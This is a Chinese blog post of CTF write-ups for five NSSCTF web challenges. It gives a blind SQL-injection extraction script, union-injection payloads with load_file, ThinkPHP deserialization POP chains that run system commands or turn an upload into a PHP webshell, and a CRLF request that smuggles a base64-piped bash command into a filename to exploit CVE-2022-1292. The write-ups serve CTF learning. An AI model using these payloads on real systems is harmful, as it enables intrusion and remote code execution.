nssctf

[CISCN 2019华北Day2]Web1

image-20240925213603338

测试发现过滤了union、and、or、空格等,包括/**/

输入1,2有不同回显,其他都返回bool(false)。

尝试bool盲注

空格的绕过有这些方法测试是可以的
%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
%20 好像没法绕,%00截断好像也影响sql语句的执行

使用空格绕过,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

1
if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import  requests
url = "http://node4.anna.nssctf.cn:28457/index.php"
payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)"
result = ''
for i in range(1,100):
high = 127
low = 32
mid = (low+high) // 2
# print(mid)
while(high>low):
#response = requests.get(url + payload.format(i,mid))
data = {
"id": payload.format(i,mid)
}
response = requests.post(url, data=data)
# print(url + payload.format(i,mid))
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(mid)
print(result)

[网鼎杯 2018]Fakebook

发现有robots.txt文件
访问robots.txt,然后发现有一个user.php.bak的备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

有一个UserInfo的类,类中有三个公共的类变量:name,age,blog。一个构造方法,一个get方法。主要的工作应该是建立会话,

然后判断是否是有效的请求,如果不是则返回404,如果不是则返回url的内容,一个getBlogContents方法,返回一个url的内容

还有一个isValidBlog验证这是否是一个有效的blog地址,看大佬博客说,这段正则好像url中有.就可以匹配。

join注册一个账号

img

img

手工注入:

?no = 1 and 1=1  //回显正常

?no = 1 and 1=2  //错误回显

铁定数字型注入,于是我们看看表中有多少列,确定一下列数,

?no = 1 order by 3    //正常

?no = 1 order by 4    //正常

?no = 1 order by 5    //错误

所以确定列数,有4列

于是我们尝试union联合注入:

?no = -1 union select 1,2,3,4–+

过滤了union select

可以用过union/**/select绕过

于是我们再次构造payload:

?no = -1 union/**/select 1,2,3,4–+

img

回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。

然后我们开始查数据库和数据库信息

?no=-1 union/**/select 1,database(),3,4–+  //数据库名

img

?no=-1 union/**/select 1,user(),3,4–+    //数据库信息

img

发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4–+

img

[CISCN 2022 初赛]ezpop

看到thinkphp版本,找链子直接打

www.zip 查看路由,是 Index/test,然后 post 传参 a

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;

// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['cat /nssctfflag']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}

namespace think\model {
use think\Model;
class Pivot extends Model {

}

// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}


[CISCN 2022 初赛]online_crt

涉及漏洞分析参考文章

CVE-2022-1292的分析 - 先知社区 (aliyun.com)

Flask路由部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

Getcrt函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name

Go Server源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

通过访问 /getcrt 路由会去调用getcrt(), 而getcrt() 会去生成一个crt证书,createlink路由调用c_rehash,而c_rehash存在命令执行漏洞,漏洞的成因大概为文件名可控,由于低版本openssl对于元字符的过滤不严谨,导致文件名中含有 “ ` “字符的话会导致文件名被当作命令执行。而访问路由proxy时候,用户可以自定义HTTP请求,从而导致CLRF结合CVE-2022-1292导致RCE。

Go源码中出现了有过滤函数

1
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {

Bypass方法

将请求的 uri 参数第二个反斜杠进行URL编码,第二个要求 Host: admin

然后需要将内容写入文件中,直接去访问/static/crt/下的对应文件即可

数据包构造

uri内容编码 由于flask最后有段代码 return data.decode()

1
2
3
4
5
6
7
import urllib.parse
uri = '''/admin%2frename?oldname=9c022d27-7635-4ca3-ac5e-1b3eb6e79d18.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)
1
2
3
4
5
6
7
8
9
10
11
12
GET /proxy HTTP/1.1
Host: 1.14.71.254:28192
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 206

uri=/admin%252frename%3Foldname%3D9c022d27-7635-4ca3-ac5e-1b3eb6e79d18.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A

img

最后访问createlink触发代码

img

/static/crt/flag.txt查看flag.txt

img

[强网杯 2019]upload

image-20241107214136325

登陆注册,有上传功能

上传一张图片,发现被改后缀为png,而且可以看到路径和文件名都进行了重命名使用md5值

bp抓包发现cookie参数user

反序列化得到

img

目录扫描出一个www.tar.gz在网站根目录,打开发现是ThinkPHP5框架

审计中找到了 __destruct()魔法函数

img

同时,在Index.php中,找到了身份验证的方法

img

Index.php会对传入的内容进行base64解码,然后反序列化

img

发现了 Profile.php中,有对文件重命名的操作

img

为了能正常的利用upload_img来进行copy操作,就得将if都过了

1
2
3
4
5
6
7
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

确保里面的内容不会被执行, checker不赋值或者等于false就好了

1
2
3
4
5
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

两个文件名的参数都没有什么过滤,唯一的阻碍是 ext_check(),他会判断你的后缀是否为png,没啥用

1
2
3
4
5
6
7
8
9
10
11
12
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}

ext的值,需要为 True

1
if(getimagesize($this->filename_tmp)) {

image-20241107215232768

如何触发反序列化,在当前文件 Profile.php中,我们发现了 __get__call这两个魔法函数

img

1
2
读取不可访问属性的值时,__get() 会被调用; 
在对象中调用一个不可访问方法时,__call() 会被调用。

回到Register.php中看 __destruct()的操作

img

img

checker会去 Index()中调用 index()(注意区分大小写)

如果我们将 $this->checker覆盖为 类Profile()但是因为 Profile()中没有index(),所以会触发 __call()魔法函数

进入该类之后,会调用一个不存在的对象,导致 __get()的触发,所以我们需要在序列化的时候,将 except赋值为

1
public except = ['index' => 'img'];

就可以触发 upload_img,达到改名的效果了

1
__destruct()->__call()->__get()->upload_img

构造一个 Profile 和 Register 类,命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)。然后给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;


public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

class Register
{
public $checker;
public $registed;

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.png";
$profile->filename = "./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC83NmQ5ZjAwNDY3ZTVlZTZhYmMzY2E2MDg5MmVmMzA0ZS8xOTA1ZTMyOTczMThlMDdmNjg5ZWVkYTNhZmI3OWRjNy5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzc2ZDlmMDA0NjdlNWVlNmFiYzNjYTYwODkyZWYzMDRlLzE5MDVlMzI5NzMxOGUwN2Y2ODllZWRhM2FmYjc5ZGM3LnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D

放入cookie刷新几次,查看upload文件夹时就会发现文件名已经被更改了

蚁剑直接连


nssctf
http://example.com/2024/09/25/比赛/nssctf/
作者
Englobe
发布于
2024年9月25日
许可协议